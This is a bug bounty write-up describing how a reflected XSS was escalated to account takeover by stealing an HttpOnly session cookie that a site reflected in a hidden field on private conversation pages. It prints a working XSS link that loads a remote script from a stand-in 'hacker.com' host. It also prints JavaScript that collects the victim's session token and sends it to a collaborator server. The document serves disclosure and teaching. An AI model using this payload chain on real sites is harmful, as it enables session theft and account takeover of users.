0

1-click ATO via XSS + cookie exfiltration despite HttpOnly

Quick XSS write-up transformed into a 1-click account takeover despite a HttpOnly protected session cookie, on a HackerOne bug bounty program.

The original XSS

The XSS was found quickly, via an installation path and an injection directly into the URI :

My XSS was on a forum and an online exchange space, and the idea was to maximize the impact with an account takeover. My first thought was to be able to exfiltrate the session cookie, but this was protected by an HttpOnly. So how could I exfiltrate it anyway ?

Cookie reflection

After browsing all over the site to get an idea of what to do, a Burp search with my session cookie in pattern allowed me to see that it was reflected in private message conversations with other users, reflected in a hidden field on the page.

Why ? No idea. But if it’s there, it means we can get it back !

Attack scenario

After some thought to ATO our victim, we’ll need to execute the following attack:

– Via my XSS, and not having a CSP policy, I can play a malicious link to my victim, which will execute a remote script that I control
– This JavaScript will parse the victim’s profile, to retrieve the paths to private conversations located under /conversations/<title>-<UUID>.
– Once we’ve found the conversation path, we’ll perform a GET on this path, exfiltrating the contents of the field containing our reflected session cookie to our malicious server.

Malicious link to play on our victim :

https://website.com/example/?<fake>xxx</fake><script>eval(atob("dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7IGEuc3JjPSJodHRwczovL2hhY2tlci5jb20vcG9jL21hbGljaW91cy5qcyI7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7"));</script>

Here, we’re going to make our victim run the script located at https://hacker.com/poc/malicious.js.

Contents of our malicious.js :

// Find conversation IDs and paths
fetch('/conversations/')
    .then(r => r.text())
    .then(d => {
        let convs = [...d.matchAll(/<a\s+href="(conversations\/[^"]+\.\d+\/)"/g)].map(v => v[1]);
        console.log("✅ Found Conversations:", convs);

// Retrieve the reflected cookie value for each conversation
        convs.forEach(conv => {
            fetch(`https://myvictime-website.com/${conv}`)
                .then(r => r.text())
                .then(p => {
                    let sessionMatch = [...p.matchAll(/data-name="_exampleCookieId" data-value="([^"]+)"/g)];
                    if (sessionMatch.length) {
                        let sessionId = sessionMatch[0][1];
                        console.log(`🔥 Extracted _exampleCookieId for ${conv}:`, sessionId);
                        
                        // Base64 encode and exfiltrate
                        let encodedSession = btoa(sessionId);
                        fetch(`https://<burpcollaborator/?session=${encodedSession}`);
                    }
                });
        });
    });

This script performs the three steps indicated above:

– Retrieve private conversation paths (displayed in console.log – helps me debug)
– For each private conversation path, retrieve the session cookie from the hidden field (also displayed in the console.log)
– Exfil it to our Collaborator server

Real-life testing :

And exfiltration on a collaborator, base64 encoded :

Conclusion

My report was paid for and fixed within seven days of being sent. Only, the company didn’t care about the attack scenario and paid me for the report as a simple XSS triggering an alert(1). Unfortunately, this isn’t the first time this has happened, and it’s a red flag indicator on my end : I wouldn’t go back to this program.

Despite this setback, I would not stop going further in upgrading the criticality of an XSS. There are almost always some things to do :

And much more !

Supr4s

S’abonner
Notification pour
guest

0 Commentaires
Le plus ancien
Le plus récent Le plus populaire
Commentaires en ligne
Afficher tous les commentaires